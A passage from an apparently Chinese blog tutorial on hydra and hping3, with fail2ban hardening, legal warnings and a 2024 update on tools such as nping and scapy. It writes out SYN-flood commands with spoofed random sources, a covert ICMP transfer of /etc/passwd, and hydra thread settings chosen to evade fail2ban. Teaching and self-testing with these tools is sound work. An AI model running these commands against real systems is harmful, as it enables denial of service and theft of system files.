&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;参数&lt;/th&gt;
					&lt;th&gt;含义&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-c 100000&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;发送 10w 个包（不指定则无限）&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-d 120&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;每个包 120 字节&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-S&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;只发 SYN 包&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-w 64&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;TCP 窗口大小&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-p 22&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;目标端口&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;--flood&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;洪水模式（不显示回复）&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;--rand-source&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;源 IP 随机化（&lt;strong&gt;仅自测&lt;/strong&gt;，对真实环境 = 犯罪**）&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;末尾 IP&lt;/td&gt;
					&lt;td&gt;目标 IP&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;5 分钟 DoS&lt;/strong&gt;：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;简而言之，如果这台机器是 Web 服务器，它就无法响应任何新的连接，就算它能响应，速度也很慢很慢。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="24-压测实战http-服务器"&gt;2.4 压测实战：HTTP 服务器
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 普通 ping 风格压测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hping3 -S -p &lt;span class="m"&gt;80&lt;/span&gt; -i u10000 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 每 10ms 发一个 SYN 到 80 端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 详细输出（带时间戳）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hping3 -S -p &lt;span class="m"&gt;80&lt;/span&gt; --flood -V --rand-source 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="25-隐蔽传文件"&gt;2.5 隐蔽传文件
&lt;/h3&gt;&lt;p&gt;接收端（先启动）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hping3 192.168.1.200 --listen --safe --icmp -d &lt;span class="m"&gt;100&lt;/span&gt; -sign &lt;span class="m"&gt;1234&lt;/span&gt; &amp;gt; recv.bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;发送端：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hping3 192.168.1.100 --icmp -d &lt;span class="m"&gt;100&lt;/span&gt; --sign &lt;span class="m"&gt;1234&lt;/span&gt; --file /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;⚠️ 这只是一个玩具示例，&lt;strong&gt;真实环境请用 scp/rsync&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="三与-fail2ban-联动"&gt;三、与 fail2ban 联动
&lt;/h2&gt;&lt;p&gt;hydra/hping3 攻击的目标机器，&lt;strong&gt;应该&lt;/strong&gt;配 fail2ban：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# /etc/fail2ban/jail.local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;[sshd]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;enabled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;filter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sshd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;logpath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;%(sshd_log)s&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;findtime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;3m&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;maxretry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;bantime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;24h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;iptables-allports[name=sshd]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;hydra 默认 16 线程，3 分钟内失败 3 次 = ban 24 小时。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="四常见坑"&gt;四、常见坑
&lt;/h2&gt;&lt;h3 id="41-hydra-编译失败"&gt;4.1 hydra 编译失败
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;./configure&lt;/code&gt; 缺依赖：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 一次性装齐&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; libmysqlclient-dev libpq-dev libsvn-dev libmemcached-dev &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; libgpg-error-dev libgcrypt20-dev firebird-dev
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="42-hping3-flood-攻击自己"&gt;4.2 hping3 &amp;ndash;flood 攻击自己
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;永远不要&lt;/strong&gt;在生产环境跑 &lt;code&gt;--flood&lt;/code&gt;，&lt;strong&gt;永远不要&lt;/strong&gt;对未授权 IP 跑 &lt;code&gt;--rand-source&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="43-hydra-找不到模块"&gt;4.3 hydra 找不到模块
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;./configure&lt;/code&gt; 输出末尾会列出 enabled modules，缺哪个装哪个 dev 包。&lt;/p&gt;
&lt;h3 id="44-性能调优"&gt;4.4 性能调优
&lt;/h3&gt;&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;协议&lt;/th&gt;
					&lt;th&gt;推荐 &lt;code&gt;-t&lt;/code&gt;&lt;/th&gt;
					&lt;th&gt;备注&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;SSH&lt;/td&gt;
					&lt;td&gt;4&lt;/td&gt;
					&lt;td&gt;多了会触发 fail2ban 反而看不见结果&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;FTP&lt;/td&gt;
					&lt;td&gt;16&lt;/td&gt;
					&lt;td&gt;FTP 老协议，可以激进&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;HTTP-POST&lt;/td&gt;
					&lt;td&gt;8&lt;/td&gt;
					&lt;td&gt;注意 IP 频率&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;RDP&lt;/td&gt;
					&lt;td&gt;4&lt;/td&gt;
					&lt;td&gt;Windows 远程桌面限流严&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="五卸载"&gt;五、卸载
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 源码安装&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; thc-hydra-9.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo make uninstall
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; .. &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; rm -rf thc-hydra-9.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 包管理器安装&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt remove hydra hping3 -y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt purge hydra hping3 -y
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="小结"&gt;小结
&lt;/h2&gt;&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;工具&lt;/th&gt;
					&lt;th&gt;用途&lt;/th&gt;
					&lt;th&gt;风险等级&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;hydra&lt;/strong&gt;&lt;/td&gt;
					&lt;td&gt;密码爆破（自测/授权）&lt;/td&gt;
					&lt;td&gt;高（被滥用于黑产）&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;hping3&lt;/strong&gt;&lt;/td&gt;
					&lt;td&gt;包构造、压测、隐蔽通道&lt;/td&gt;
					&lt;td&gt;极高（DDos 入罪门槛低）&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;两个工具的最佳归宿&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;放在&lt;strong&gt;隔离测试机&lt;/strong&gt;里&lt;/li&gt;
&lt;li&gt;配合 fail2ban / WAF 做&lt;strong&gt;自测验证&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在&lt;strong&gt;专业攻防培训&lt;/strong&gt;中使用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;下一步&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;medusa&lt;/code&gt;（hydra 替代品）做横向对比&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;ncrack&lt;/code&gt; 做更现代的 RDP 爆破&lt;/li&gt;
&lt;li&gt;商业方案：Burp Suite Pro、Cobalt Strike&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="2024-视角攻防工具现代版--法律边界"&gt;2024 视角：攻防工具&amp;quot;现代版&amp;quot; + 法律边界
&lt;/h2&gt;&lt;p&gt;2017 那篇列的工具在 2024 仍管用，但有 3 个新变化：法律更严、替代工具更多、容器化使用更广。&lt;/p&gt;
&lt;h3 id="一hydra-95--962022-2024"&gt;一、&lt;code&gt;hydra&lt;/code&gt; 9.5 → 9.6+（2022-2024）
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2024 最新版&lt;/strong&gt; hydra 9.6+（持续维护中）：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;新模块&lt;/strong&gt;：HTTP-Proxy、SOCKS5 认证、Kerberos&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;新选项&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-A&lt;/code&gt;：user-agent 随机化&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-W N&lt;/code&gt;：单条连接超时&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f&lt;/code&gt;：找到一对就停&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JSON 输出格式&lt;/strong&gt;（&lt;code&gt;-b json&lt;/code&gt;）—— 适合 CI/ELK 收集&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024 装&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# GitHub 编译&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/vanhauser-thc/thc-hydra.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; thc-hydra
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./configure
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;make -j&lt;span class="k"&gt;$(&lt;/span&gt;nproc&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo make install
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或包管理器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install hydra -y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hydra -version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Hydra v9.6 (c) 2024 by van Hauser/THC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="二hping3-的接班人npingnmap-套件-scapypython"&gt;二、&lt;code&gt;hping3&lt;/code&gt; 的&amp;quot;接班人&amp;quot;：&lt;code&gt;nping&lt;/code&gt;（nmap 套件）+ &lt;code&gt;scapy&lt;/code&gt;（Python）
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;hping3&lt;/code&gt; 2018 年起&lt;/strong&gt;已&lt;strong&gt;不再积极维护&lt;/strong&gt;（作者 antirez 转向了 Redis），但&lt;strong&gt;仍能用&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024 现代替代&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# nping（nmap 套件，更现代）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install nmap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nping --tcp -p 80,443 --rate &lt;span class="m"&gt;100&lt;/span&gt; 1.2.3.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# SYN flood（自测）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nping --tcp --dest-port &lt;span class="m"&gt;80&lt;/span&gt; --rate &lt;span class="m"&gt;1000&lt;/span&gt; --count &lt;span class="m"&gt;100000&lt;/span&gt; --flood 1.2.3.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# scapy（Python 写任意包）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install scapy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s2"&gt;&amp;#34;from scapy.all import *; send(IP(dst=&amp;#39;1.2.3.4&amp;#39;)/TCP(dport=80, flags=&amp;#39;S&amp;#39;)/Raw(b&amp;#39;X&amp;#39;*100), count=100)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;scapy&lt;/code&gt;&lt;/strong&gt; 是 2024 事实标准——&lt;strong&gt;任意协议包构造、嗅探、注入&lt;/strong&gt;，&lt;strong&gt;比 hping3 灵活 100 倍&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="三hping3---flood-攻击自己--法律风险"&gt;三、&lt;code&gt;hping3 --flood&lt;/code&gt; 攻击自己 + 法律风险
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;2024 法律加码&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;中国《刑法》285/286 条（&lt;strong&gt;3-7 年有期徒刑&lt;/strong&gt;）+ 2017《网络安全法》+ 2021《数据安全法》+ 2021《个人信息保护法》。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DDos 攻击&lt;/strong&gt;特别入罪门槛低：2020 年司法解释，**&amp;ldquo;造成 1 万元损失&amp;quot;或&amp;quot;影响 1000 个用户&amp;rdquo;**即入罪。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024 真实案例&lt;/strong&gt;：某高校学生用 hping3 打同学服务器，&lt;strong&gt;判刑 1 年缓 1 年&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要试探边界&lt;/strong&gt;——&lt;code&gt;--flood&lt;/code&gt; + &lt;code&gt;--rand-source&lt;/code&gt; &lt;strong&gt;永远只在自己买的测试机上跑&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;h3 id="四压测的现代姿势"&gt;四、压测的&amp;quot;现代&amp;quot;姿势
&lt;/h3&gt;&lt;p&gt;2017 那篇 &lt;code&gt;hping3 --flood&lt;/code&gt; 模拟 SYN flood。&lt;strong&gt;2024 真实压测&lt;/strong&gt;都用专业工具：&lt;/p&gt;
&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;工具&lt;/th&gt;
					&lt;th&gt;用途&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;wrk&lt;/strong&gt;（C 写）&lt;/td&gt;
					&lt;td&gt;HTTP/HTTPS 压测，&lt;strong&gt;单核 10 万 QPS&lt;/strong&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;wrk2&lt;/strong&gt;（wrk + 持续恒压）&lt;/td&gt;
					&lt;td&gt;恒压负载测试&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;k6&lt;/strong&gt;（Go 写）&lt;/td&gt;
					&lt;td&gt;现代压测平台，&lt;strong&gt;支持 JS 脚本&lt;/strong&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;Vegeta&lt;/strong&gt;（Go 写）&lt;/td&gt;
					&lt;td&gt;简单命令行压测&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;Locust&lt;/strong&gt;（Python 写）&lt;/td&gt;
					&lt;td&gt;分布式压测，&lt;strong&gt;Web 界面&lt;/strong&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;JMeter&lt;/strong&gt;（Java 写）&lt;/td&gt;
					&lt;td&gt;老牌 GUI 压测，&lt;strong&gt;2024 仍占企业市场 30%&lt;/strong&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;Gatling&lt;/strong&gt;（Scala 写）&lt;/td&gt;
					&lt;td&gt;DevOps 友好的现代压测&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
